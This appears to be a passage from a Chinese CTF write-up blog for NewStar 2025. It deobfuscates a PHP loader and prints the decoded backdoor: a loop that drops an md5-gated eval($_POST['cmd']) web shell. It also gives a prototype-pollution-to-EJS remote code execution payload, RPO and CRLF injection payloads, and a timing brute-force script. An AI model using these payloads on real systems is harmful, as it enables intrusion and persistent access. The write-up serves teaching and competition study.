Jk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8=')));
?>

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// 第一步:提取Base64密文并解码
$base64_str = 'hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwurgREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8=';

// 第二步:Base64解码 + gzinflate解压
$decoded = gzinflate(base64_decode($base64_str));

// 输出还原后的代码(关键!)
echo "<pre>";
var_dump($decoded);
echo "</pre>";
?>

解密后

1
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxVmMyUkdnWVYwc2J6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVLZnd6ZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXh0RU9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZUZEZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSVmMyTjRmY2kwRWVxanJUVkpyeGpHaHdKaWxxak9yVFZKck45S0Zja0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwaWxxVjFFMlJWcmN6b2lCektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2JQRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=")); ?>"

继续解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
import base64
import urllib.parse

def decrypt_php_obfuscated(code):
print("=" * 60)
print("PHP混淆代码解密")
print("=" * 60)

# 提取关键部分
lines = code.strip().split('\n')

# 提取第一个变量
for line in lines:
if '$O00OO0=urldecode' in line:
url_encoded = line.split('"')[1]
decoded = urllib.parse.unquote(url_encoded)
print(f"1. 解码 $O00OO0: {decoded}")
print(f" 长度: {len(decoded)}")

# 字符表
char_table = list(decoded)
print(f" 字符表索引: {list(enumerate(char_table))}")

# 计算各个变量
# $O00O0O = $O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}
O00O0O = char_table[3] + char_table[6] + char_table[33] + char_table[30]
print(f"2. $O00O0O = '{O00O0O}'")

# $O0OO00 = $O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}
O0OO00 = char_table[33] + char_table[10] + char_table[24] + char_table[10] + char_table[24]
print(f"3. $O0OO00 = '{O0OO00}'")

# $OO0O00 = $O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}
OO0O00 = O0OO00[0] + char_table[18] + char_table[3] + O0OO00[0] + O0OO00[1] + char_table[24]
print(f"4. $OO0O00 = '{OO0O00}'")

# $OO0000 = $O00OO0{7}.$O00OO0{13}
OO0000 = char_table[7] + char_table[13]
print(f"5. $OO0000 = '{OO0000}'")

# $O00O0O .= $O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}
O00O0O += char_table[22] + char_table[36] + char_table[29] + char_table[26] + char_table[30] + char_table[32] + char_table[35] + char_table[26] + char_table[30]
print(f"6. $O00O0O (最终) = '{O00O0O}'")

break

# 提取Base64字符串
for line in lines:
if 'eval($O00O0O("' in line or 'eval(' in line:
# 提取Base64部分
start = line.find('"') + 1
end = line.rfind('"')
if start > 0 and end > start:
b64_str = line[start:end]
print(f"\n7. 找到Base64字符串 (长度: {len(b64_str)})")

# 尝试用不同的函数解码
try:
# 尝试 base64_decode
decoded = base64.b64decode(b64_str).decode('utf-8', errors='ignore')
print(f" 解码结果 (base64_decode):")
print(f" {decoded[:200]}...")
except:
print(" base64_decode 失败")

try:
# 尝试 gzuncompress + base64_decode
import zlib
b64_decoded = base64.b64decode(b64_str)
try:
decompressed = zlib.decompress(b64_decoded).decode('utf-8', errors='ignore')
print(f" 解码结果 (gzuncompress + base64_decode):")
print(f" {decompressed[:200]}...")
except:
# 可能已经是解压的
print(" gzuncompress 失败")
except:
pass

# 检查 $O00O0O 可能的含义
# "b5h9ywyr9esr9" 可能是 "base64_decode" 的变体
# 检查是否是 base64_decode
if O00O0O == 'b5h9ywyr9esr9':
print(f"\n8. $O00O0O = '{O00O0O}' 可能是 'base64_decode'")
# base64 -> b64 -> b5h9 可能是编码
# base64_decode 长度 13, b5h9ywyr9esr9 长度 13

print("\n" + "=" * 60)
print("变量总结:")
print("=" * 60)
print(f"$O00OO0: 字符表")
print(f"$O00O0O: {O00O0O} (可能函数名)")
print(f"$O0OO00: {O0OO00}")
print(f"$OO0O00: {OO0O00}")
print(f"$OO0000: {OO0000}")

return O00O0O, b64_str

def brute_force_decode(b64_str, possible_func):
"""尝试不同的解码方式"""
print("\n" + "=" * 60)
print("暴力破解解码")
print("=" * 60)

# 常见PHP函数映射
php_functions = {
'base64_decode': lambda x: base64.b64decode(x).decode('utf-8', errors='ignore'),
'gzuncompress': lambda x: zlib.decompress(base64.b64decode(x)).decode('utf-8', errors='ignore'),
'gzinflate': lambda x: zlib.decompress(base64.b64decode(x), -15).decode('utf-8', errors='ignore'),
'str_rot13': lambda x: codecs.encode(base64.b64decode(x).decode(), 'rot_13'),
}

try:
import zlib
import codecs

for func_name, decode_func in php_functions.items():
try:
result = decode_func(b64_str)
print(f"\n尝试 {func_name}:")
print(f"结果前200字符:")
print(f"{result[:200]}...")
if 'eval' in result or 'system' in result or 'shell_exec' in result:
print(f"⚠️ 发现可疑代码!")
except Exception as e:
continue

except ImportError:
print("需要导入 zlib 和 codecs 模块")

# 尝试直接base64解码
try:
decoded = base64.b64decode(b64_str).decode('utf-8', errors='ignore')
if len(decoded) > 0:
print(f"\n直接Base64解码:")
print(f"{decoded[:500]}...")
except:
pass

# 主程序
if __name__ == "__main__":
# 示例代码
php_code = '''$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxVmMyUkdnWVYwc2J6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVLZnd6ZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXh0RU9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZUZEZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSVmMyTjRmY2kwRWVxanJUVkpyeGpHaHdKaWxxak9yVFZKck45S0Zja0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwaWxxVjFFMlJWcmN6b2lCektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2JQRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=")); ?>'''

func_name, b64_data = decrypt_php_obfuscated(php_code)
brute_force_decode(b64_data, func_name)
image-20260117181627989

可以看到$O00O0O (最终) = ‘base64_decode’,那个base64继续解码

1
$O0O000="OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1Vc2RGgYV0sbzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5KfwzdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixtEOC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYeFDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYRVc2N4fci0EeqjrTVJrxjGhwJilqjOrTVJrN9KFckAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0ilqV1E2RVrczoiBzKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7bPG9bPo/vq==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

继续解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64

def decode_final_php():
# 第一步Base64解码后的$O0O000值
o0o000 = "OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1Vc2RGgYV0sbzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5KfwzdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixtEOC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYeFDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYRVc2N4fci0EeqjrTVJrxjGhwJilqjOrTVJrN9KFckAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0ilqV1E2RVrczoiBzKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7bPG9bPo/vq=="

# 关键参数(对应$OO0000=52)
num = 52

# 步骤1: substr($O0O000, 0, 52) → 替换目标字符集
substr1 = o0o000[0:num]
# 步骤2: substr($O0O000, 52, 52) → 替换源字符集
substr2 = o0o000[num:num+num]
# 步骤3: substr($O0O000, 104) → 需要替换的密文
substr3 = o0o000[num*2:]

# 步骤4: 实现PHP的strtr函数(字符替换)
# 构建替换映射表
trans_table = str.maketrans(substr2, substr1)
# 执行字符替换
replaced_str = substr3.translate(trans_table)

# 步骤5: Base64解码得到最终恶意代码
try:
final_malicious_code = base64.b64decode(replaced_str).decode('utf-8', errors='ignore')
print("=" * 70)
print("最终解码出的恶意PHP代码:")
print("=" * 70)
print(final_malicious_code)
return final_malicious_code
except Exception as e:
print(f"解码失败: {e}")
return None

# 执行解码
if __name__ == "__main__":
decode_final_php()

解密得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = './backdoor.php';
$hack = 'I hack you!';
/** $code = "<?php if(md5(\$_GET['flag2'])=='87c298a56e0caa355872ab47db11e06c'){@eval(\$_POST['cmd']);}?>"; **/
while (1){
if (!file_exists($file)) {
file_put_contents($file,$hack.$code);
}
usleep(5000);
#unlink(__FILE__);
}
?>

flag2的md5值是87c298a56e0caa355872ab47db11e06c,somd5查一下是ns2025,最后flag

flag{js_very_good_ns2025}

week5

web

小 W 和小 K 的故事(最终章)

首先是看到硬编码了随机数种子114514

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Random {
constructor(seed) {
this.seed = (seed || Date.now()) % 998244353;
}
next() {
this.seed = (this.seed * 48271) % 998244353;
return this.seed;
}
getRandomInt(min, max) {
return min + (this.next() % (max - min));
}
getRandomFloat(min, max) {
return min + Math.sin(getRandomInt(0, 10000)) * (max - min);
}
getRandomString(length) {
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
let result = "";
for (let i = 0; i < length; i++) {
result += charset.charAt(this.getRandomInt(0, charset.length));
}
return result;
}
}

module.exports = Random;

写一个脚本爆破一下密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Random:
def __init__(self, seed):
self.seed = seed % 998244353

def next(self):
self.seed = (self.seed * 48271) % 998244353
return self.seed

def getRandomInt(self, min_val, max_val):
return min_val + (self.next() % (max_val - min_val))

def getRandomString(self, length):
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
result = ""
for i in range(length):
result += charset[self.getRandomInt(0, len(charset))]
return result


def main():
# 生成session secret(第一次调用)
rng = Random(114514)
session_secret = rng.getRandomString(16)
print(f"Session Secret: {session_secret}")

# 生成admin密码(第二次调用,状态已改变)
admin_password = rng.getRandomString(16)
print(f"admin密码: {admin_password}")


if __name__ == "__main__":
main()

然后接下看wp说是,js原型链污染(CVE-2019-10744)+ EJS 3.1.6 模板引擎的RCE,随便添加一个用户抓包,然后

payload

1
2
3
4
5
6
7
8
{
"constructor": {
"prototype": {
"client": true,
"escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); //"
}
}
}

放包之后得到flag

image-20260121220517155

被玩坏的 AI

扫一下目录有robots.txt

1
2
3
4
5
User-agent: *
Allow: /find.php

Disallow: /RPO/

这里就有个提示啊rpo,就是pro漏洞啊,先看看那个find.php

image-20260120182446308

我们要找密码,在这有findpwd.js,直接看的话是乱码,但是文件名都这么明显了,说明passwd不在我们读的那个findpwd.js,而是在RPO目录下,但是RPO我们访问不了,就可以使用RPO漏洞读取,payload

/RPO/..%2ffind.php

具体原理参考浅析RPO漏洞攻击原理 - PlumK - 博客园,亲测好看

读取到passwd

image-20260120213349430

然后进去第二关,考察CRLF,我们需要在http请求头中添加X-Admin: Admin,参入的参数是ua,很明显CRLF,而且题目也说了没有waf

那还说啥啊,payload

1
1%0d%0aX-Admin: Admin

image-20260120214046551

这第5周的题目对我来说还是吃不消的,还有有的题目应该是环境问题进不去。就先写这两道吧。👍👍👍

misc

AI HACKER

俺不中类,这个模型附件一直上传不成功啊服了,先不写了

TIME HACKER

首先没想到附件给的压缩包也有信息啊,010打开在最后有base64编码

image-20260119195313526

解码得到

1
I heard you can hack the time in different dimensions

dimension:尺寸,维度,方面 四六级这一块,应该考察时间戳

然后就是解压得到的flag.zip在文件末尾也有一段编码

Gsv kzhhdliw rh gvm wrtrgh

all in one一把梭

image-20260119200250627

看wp知道这是Atbash密码,原理就是一个替换

明文:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
密文:Z Y X W V U T S R Q P O N M L K J I H G F E D C B A

得到密码是10位数,正好时间戳就是10位,再记录一下时间戳就是从1970年1月1日(UTC/GMT的午夜)开始所经过的秒数(不考虑闰秒),用于表示一个时间点

打开附件可以看到

image-20260119201340412

可以看到时间在2037-12-30 14:42到2037-12-30 14:43之间,那么前面时间戳都想相同2145768,由于分钟数和秒数的不同后三位就不同,使用掩码爆破一下

image-20260119201822331

其实附件还给了一个exe程序用来校验密码是否正确。官方wp使用重复调用exe判断密码是否正确

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import time
import subprocess

def crack_password():
password = ""
exe_path = "password_checker.exe"
for i in range(10):
times = {}
for c in "0123456789":
test = password + c + '0' * (9 - i)
total_time = 0

for _ in range(3):
start = time.time()
subprocess.run([exe_path], input=test.encode(), capture_output=True)
total_time += time.time() - start
times[c] = total_time / 3
print(times)
best_char = max(times, key=times.get)
password += best_char
print(f"第{i+1}位: {best_char} -> {password}")
print(f"密码: {password}")
return password

if __name__ == "__main__":
crack_password()

这个是爆破时间有点长要耐心等待。然后得到36张图片,刚才提到了这些图片的修改时间是在未来,将密码做为减数,每个图片的修改时间的时间戳为被减数两者做差,差值的绝对值作为ascii码然后转字符。exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os
import time

def process_png_files(folder_path):
"""
处理指定文件夹中的1.png到36.png文件,并收集所有可打印的ASCII字符
:param folder_path: 存放图片的文件夹路径
:return: 收集到的所有可打印ASCII字符列表
"""
# 目标减数
target_number = 2145768093
# 用于收集所有可打印的ASCII字符
collected_chars = []

# 遍历1到36的图片文件
for i in range(1, 37):
file_name = f"{i}.png"
file_path = os.path.join(folder_path, file_name)

# 检查文件是否存在
if not os.path.exists(file_path):
print(f"⚠️ 文件 {file_name} 不存在,跳过处理")
collected_chars.append("[文件不存在]")
continue

try:
# 1. 获取文件修改时间(时间戳,秒级)
modify_timestamp = int(os.path.getmtime(file_path))
print(f"\n📄 文件: {file_name}")
print(f" 修改时间戳: {modify_timestamp}")

# 2. 计算差值并取绝对值
difference = abs(modify_timestamp - target_number)
print(f" 绝对值差值: {difference}")

# 3. 转换为ASCII字符(处理超出可打印范围的情况)
try:
ascii_char = chr(difference)
# 判断是否为可打印字符
if ascii_char.isprintable():
print(f" 对应的ASCII字符: '{ascii_char}' (ASCII码: {difference})")
collected_chars.append(ascii_char)
else:
print(f" ASCII码 {difference} 对应不可打印字符")
collected_chars.append("[不可打印字符]")
except ValueError:
error_msg = f"ASCII码 {difference} 超出范围"
print(f" ❌ {error_msg}")
collected_chars.append(f"[{error_msg}]")

except Exception as e:
error_msg = f"处理出错: {str(e)}"
print(f"❌ 处理文件 {file_name} 时出错: {str(e)}")
collected_chars.append(f"[{error_msg}]")

return collected_chars

if __name__ == "__main__":
# 你的图片文件夹路径
folder_path = r"E:\新建文件夹\newstar\time-hacker\flag"

# 验证文件夹是否存在
if not os.path.isdir(folder_path):
print(f"错误:文件夹 {folder_path} 不存在!")
else:
print(f"开始处理文件夹: {folder_path}")
# 处理文件并收集字符
all_chars = process_png_files(folder_path)

# 最后汇总输出所有字符
print("\n" + "="*50)
print("📊 所有图片转换结果汇总(按1.png到36.png顺序):")
print("="*50)
# 方式1:按顺序列出每个文件对应的结果
for idx, char in enumerate(all_chars, 1):
print(f"{idx}.png → {char}")

# 方式2:只拼接所有可打印的有效字符(方便查看连续字符串)
valid_chars = [c for c in all_chars if not c.startswith("[")]
print("\n🔤 所有可打印有效字符拼接:")
print("".join(valid_chars))

print("\n✅ 处理完成!")

最后得到

aET_t_Y__HMrl4HR!e{}0ekI!acuegLr_f@e

有{}还有_就可以确定flag是按照某种顺序排列,然后再次回归图片,010打开1.png

image-20260119204044139

可以看到每一张图片中还有一个时间,并且时间不一样,按照从小到大再次排列。exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import os
import re
from datetime import datetime

def read_file_hex(png_path, read_length=200):
"""
读取PNG文件的前N字节并转换为十六进制字符串(方便查找时间)
:param png_path: 文件路径
:param read_length: 读取的字节数(默认前200字节)
:return: 十六进制字符串
"""
with open(png_path, 'rb') as f:
data = f.read(read_length)
# 转换为十六进制字符串(大写,每字节两位,空格分隔)
hex_str = ' '.join([f"{byte:02X}" for byte in data])
return hex_str

def extract_time_from_hex(hex_str):
"""
从十六进制字符串中提取常见格式的时间
支持格式:YYYYMMDDHHMMSS(数字)、YYYY-MM-DD HH:MM:SS(带分隔符)
:param hex_str: 十六进制字符串
:return: datetime对象 / None
"""
# 先将十六进制转回ASCII字符串(尝试提取可读时间)
try:
# 去除空格,按每两位转一个字节
hex_clean = hex_str.replace(' ', '')
ascii_str = bytes.fromhex(hex_clean).decode('ascii', errors='ignore')
except:
ascii_str = ""

# 正则匹配14位数字时间(YYYYMMDDHHMMSS)
time_pattern1 = r'(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})'
match1 = re.search(time_pattern1, ascii_str)
if match1:
try:
year, month, day, hour, minute, second = map(int, match1.groups())
return datetime(year, month, day, hour, minute, second)
except:
pass

# 正则匹配带分隔符的时间(YYYY-MM-DD HH:MM:SS)
time_pattern2 = r'(\d{4})-(\d{2})-(\d{2})\s+(\d{2}):(\d{2}):(\d{2})'
match2 = re.search(time_pattern2, ascii_str)
if match2:
try:
year, month, day, hour, minute, second = map(int, match2.groups())
return datetime(year, month, day, hour, minute, second)
except:
pass

return None

def main():
# 基础配置
folder_path = r"E:\新建文件夹\newstar\time-hacker\flag"
original_chars = "aET_t_Y__HMrl4HR!e{}0ekI!acuegLr_f@e"
char_mapping = {i+1: original_chars[i] for i in range(len(original_chars))}

# 存储(时间对象, 图片编号, 字符, 原始时间串)
time_char_list = []

print("===== 第一步:读取每个文件的十六进制数据(前200字节) =====")
for img_num in range(1, 37):
png_path = os.path.join(folder_path, f"{img_num}.png")
if not os.path.exists(png_path):
print(f"⚠️ {img_num}.png - 文件不存在")
continue

# 1. 读取十六进制数据并打印(方便你查找时间位置)
hex_data = read_file_hex(png_path)
print(f"\n📄 {img_num}.png 十六进制片段:")
print(f" {hex_data}")

# 2. 尝试自动提取时间
dt_obj = extract_time_from_hex(hex_data)
if dt_obj:
time_str = dt_obj.strftime("%Y-%m-%d %H:%M:%S")
print(f" ✅ 自动提取到时间:{time_str}")
char = char_mapping.get(img_num, "?")
time_char_list.append((dt_obj, img_num, char, time_str))
else:
print(f" ❌ 未自动提取到时间,请手动核对十六进制数据!")

# 手动补充时间(如果自动提取失败,你可以在这里手动填写)
# 格式示例:time_char_list.append( (datetime(2024,1,1,0,0,0), 5, 't', '2024-01-01 00:00:00') )

# 3. 按时间排序并输出
if time_char_list:
# 按时间升序排序
time_char_list.sort(key=lambda x: x[0])

print("\n" + "="*70)
print("===== 第二步:按时间排序后的结果 =====")
print("="*70)
for idx, (dt, img_num, char, time_str) in enumerate(time_char_list, 1):
print(f"排序{idx:2d}{img_num}.png → 时间:{time_str} → 字符:'{char}'")

# 拼接最终字符
sorted_result = "".join([item[2] for item in time_char_list])
print("\n🔤 最终按时间排序的字符拼接:")
print(sorted_result)
else:
print("\n❌ 未提取到任何有效时间,请先手动核对十六进制数据中的时间格式!")

# 手动时间填写指南(示例)
print("\n" + "="*70)


if __name__ == "__main__":
main()
image-20260119205006095

我这个脚本没有根据exif信息提取时间,是根据十六进制数据转换的时间,所以比较冗长。不过最后能得到flag

flag{Y0u_4re_tHe_ReaL_TIME_H@cker!!}

区块链:INTbug

分析代码

初始状态:每个用户调用 addPoints()usePoints() 时,如果 userSpentPoints[msg.sender] 为0,会被设置为1000

但是

1
2
3
if (userSpentPoints[msg.sender] > 1000) {
unlocked[msg.sender] = true;
}

只要输入的数大于1000就可以得到flag

image-20260119223005761

还有非预期

TESTNET Sepolia (ETH) Blockchain Explorer

直接搜合约看最后一个记录,在最下面

image-20260119223407373

flag{Good_NewStar2025_Byeeeee!}

应急响应:把你 mikumiku 掉(1)

按照官方配置教程连接后,先看一下历史命令

image-20260120154731716

可以看到有tomcat,查看一下相关信息

image-20260120154927095

版本9.0.98,直接搜一下相关cve

image-20260120155115071

版本正确最后flag

flag{CVE-2025-24813}

应急响应:把你 mikumiku 掉(2)

首先先找恶意文件

image-20260120155901370

查看一下文件内容

miku.jsp

1
2
